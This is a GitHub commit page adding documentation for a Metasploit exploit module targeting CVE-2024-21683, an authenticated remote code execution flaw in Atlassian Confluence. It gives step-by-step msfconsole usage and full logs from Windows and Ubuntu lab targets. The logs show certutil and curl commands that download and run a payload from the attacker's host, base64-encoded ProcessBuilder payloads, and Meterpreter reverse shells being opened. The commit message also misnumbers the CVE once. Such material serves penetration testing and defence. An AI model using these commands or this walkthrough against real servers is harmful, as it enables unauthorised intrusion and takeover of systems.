Skip to content

Commit daf0ce9

Browse files
jheysel-r7jheysel-r7
committed
Land rapid7#19314, Add exploit for CVE-2024-21683
This adds an exploit for CVE-2024-21638 which is an authenticated RCE in Atlassian Confluence affecting all versions prior to 7.17 and many versions up to 8.9.0
2 parents 41dee56 + f9bd079 commit daf0ce9

File tree

2 files changed

+412
-0
lines changed

2 files changed

+412
-0
lines changed

‎documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2024_21683.md

Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
## Vulnerable Application
2+
This module exploits an authenticated administrator-level vulnerability in Atlassian Confluence,
3+
tracked as CVE-2024-21683. The vulnerability exists due to the Rhino script engine parser evaluating
4+
tainted data from uploaded text files. This facilitates arbitrary code execution. This exploit will
5+
authenticate, validate user privileges, extract the underlying host OS information, then trigger
6+
remote code execution. All versions of Confluence prior to 7.17 are affected, as are many versions
7+
up to 8.9.0.
8+
9+
## Testing
10+
Download and install a [vulnerable version of Atlassian Confluence](https://www.atlassian.com/software/confluence/download-archives).
11+
By default, Confluence serves an HTTP service on TCP port 8090. This module was tested against four Confluence installs:
12+
Linux and Windows Confluence hosts running two different versions, 8.9.0 and 7.20.2. The target host operating systems
13+
were Ubuntu 22.04 and Server 2022.
14+
15+
## Verification Steps
16+
Note: Disable Defender if you are using the default payloads.
17+
18+
Steps:
19+
1. Start msfconsole
20+
2. `use exploit/multi/http/atlassian_confluence_rce_cve_2024_21683`
21+
3. `set RHOST 192.168.156.131`
22+
4. `check`
23+
5. `set LHOST 192.168.156.129`
24+
6. `set ADMIN_USER admin`
25+
7. `set ADMIN_PASS Password123!`
26+
8. For Windows targets, `set FETCH_COMMAND CERTUTIL` is recommended. For Linux targets, `set FETCH_COMMAND CURL` is recommended.
27+
9. `exploit`
28+
29+
## Options
30+
31+
### ADMIN_USER
32+
33+
The known Confluence administrator username.
34+
35+
### ADMIN_PASS
36+
37+
The known Confluence administrator password.
38+
39+
## Scenarios
40+
41+
### Windows Server 2022 (10.0 Build 20348)
42+
```
43+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
44+
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
45+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_USER admin
46+
ADMIN_USER => admin
47+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_PASS Password123!
48+
ADMIN_PASS => Password123!
49+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set LHOST 192.168.156.129
50+
LHOST => 192.168.156.129
51+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set FETCH_COMMAND CERTUTIL
52+
FETCH_COMMAND => CERTUTIL
53+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set FETCH_SRVHOST 192.168.156.129
54+
FETCH_SRVHOST => 192.168.156.129
55+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set RHOSTS 192.168.156.131
56+
RHOSTS => 192.168.156.131
57+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > check
58+
[*] 192.168.156.131:8090 - The target appears to be vulnerable. Exploitable version of Confluence: 7.20.2
59+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set VERBOSE true
60+
VERBOSE => true
61+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > run
62+
63+
[*] Command to run on remote host: certutil -urlcache -f http://192.168.156.129:8080/h2Wbt3lK1eTiVRc3SNDL1w %TEMP%\iYgswSHqZU.exe & start /B %TEMP%\iYgswSHqZU.exe
64+
[*] Fetch handler listening on 192.168.156.129:8080
65+
[*] HTTP server started
66+
[*] Adding resource /h2Wbt3lK1eTiVRc3SNDL1w
67+
[*] Started reverse TCP handler on 192.168.156.129:4444
68+
[*] Running automatic check ("set AutoCheck false" to disable)
69+
[+] The target appears to be vulnerable. Exploitable version of Confluence: 7.20.2
70+
[*] Successfully authenticated to Confluence
71+
[*] The provided user is an administrator
72+
[*] Secure Administrator Sessions enabled - elevating session
73+
[*] Grabbed elevation CSRF token: a8fc89e32b0baa5f6d72247e614e37bdf11c33c4
74+
[*] Administrator session has been elevated
75+
[*] Target returned the operating system string 'Windows Server 2022 10.0'
76+
[*] Grabbed macro CSRF token: de21269d58ebd338bed3a2bd15a4c54fe321785b
77+
[*] Crafted ProcessBuilder payload string: new java.lang.ProcessBuilder("cmd.exe", "/c", new java.lang.String(java.util.Base64.getDecoder().decode('Y2VydHV0aWwgLXVybGNhY2hlIC1mIGh0dHA6Ly8xOTIuMTY4LjE1Ni4xMjk6ODA4MC9oMldidDNsSzFlVGlWUmMzU05ETDF3ICVURU1QJVxpWWdzd1NIcVpVLmV4ZSAmIHN0YXJ0IC9CICVURU1QJVxpWWdzd1NIcVpVLmV4ZQ=='))).start()
78+
[*] Sending POST request to trigger code execution
79+
[*] Client 192.168.156.131 requested /h2Wbt3lK1eTiVRc3SNDL1w
80+
[*] Sending payload to 192.168.156.131 (Microsoft-CryptoAPI/10.0)
81+
[*] Client 192.168.156.131 requested /h2Wbt3lK1eTiVRc3SNDL1w
82+
[*] Sending payload to 192.168.156.131 (CertUtil URL Agent)
83+
[*] Sending stage (201798 bytes) to 192.168.156.131
84+
[*] Meterpreter session 1 opened (192.168.156.129:4444 -> 192.168.156.131:51064) at 2024-07-09 10:19:08 -0500
85+
86+
meterpreter > getuid
87+
Server username: SRV01\Administrator
88+
meterpreter > pwd
89+
C:\Program Files\Atlassian\Confluence\bin
90+
meterpreter > sysinfo
91+
Computer : SRV01
92+
OS : Windows Server 2022 (10.0 Build 20348).
93+
Architecture : x64
94+
System Language : en_US
95+
Domain : WORKGROUP
96+
Logged On Users : 1
97+
Meterpreter : x64/windows
98+
```
99+
100+
### Ubuntu 22.04 (Linux 6.5.0-41-generic)
101+
```
102+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_USER admin
103+
ADMIN_USER => admin
104+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_PASS Password123!
105+
ADMIN_PASS => Password123!
106+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set RHOSTS 192.168.156.133
107+
RHOSTS => 192.168.156.133
108+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > check
109+
[*] 192.168.156.133:8090 - The target appears to be vulnerable. Exploitable version of Confluence: 8.9.0
110+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set FETCH_COMMAND CURL
111+
FETCH_COMMAND => CURL
112+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set VERBOSE true
113+
VERBOSE => true
114+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > run
115+
116+
[*] Command to run on remote host: curl -so ./UyvwIjHwXcB http://192.168.156.129:8080/zR2OIDxwf8sUzl-Aq0rIXg; chmod +x ./UyvwIjHwXcB; ./UyvwIjHwXcB &
117+
[*] Fetch handler listening on 192.168.156.129:8080
118+
[*] HTTP server started
119+
[*] Adding resource /zR2OIDxwf8sUzl-Aq0rIXg
120+
[*] Started reverse TCP handler on 192.168.156.129:4444
121+
[*] Running automatic check ("set AutoCheck false" to disable)
122+
[+] The target appears to be vulnerable. Exploitable version of Confluence: 8.9.0
123+
[*] Successfully authenticated to Confluence
124+
[*] The provided user is an administrator
125+
[*] Target returned the operating system string 'Linux 6.5.0-41-generic'
126+
[*] Grabbed macro CSRF token: 671809d94b9274550326b77f1618381188952a53
127+
[*] Crafted ProcessBuilder payload string: new java.lang.ProcessBuilder("/bin/sh", "-c", new java.lang.String(java.util.Base64.getDecoder().decode('Y3VybCAtc28gLi9VeXZ3SWpId1hjQiBodHRwOi8vMTkyLjE2OC4xNTYuMTI5OjgwODAvelIyT0lEeHdmOHNVemwtQXEwcklYZzsgY2htb2QgK3ggLi9VeXZ3SWpId1hjQjsgLi9VeXZ3SWpId1hjQiAm'))).start()
128+
[*] Sending POST request to trigger code execution
129+
[*] Client 192.168.156.133 requested /zR2OIDxwf8sUzl-Aq0rIXg
130+
[*] Sending payload to 192.168.156.133 (curl/7.81.0)
131+
[*] Transmitting intermediate stager...(126 bytes)
132+
[*] Sending stage (3045380 bytes) to 192.168.156.133
133+
[*] Meterpreter session 1 opened (192.168.156.129:4444 -> 192.168.156.133:60308) at 2024-07-09 10:40:32 -0500
134+
135+
meterpreter > getuid
136+
Server username: confluence
137+
meterpreter > pwd
138+
/atlassian-confluence-8.9.0
139+
meterpreter > sysinfo
140+
Computer : 192.168.156.133
141+
OS : Ubuntu 22.04 (Linux 6.5.0-41-generic)
142+
Architecture : x64
143+
BuildTuple : x86_64-linux-musl
144+
Meterpreter : x64/linux
145+
meterpreter >
146+
```

0 commit comments

Comments
 (0)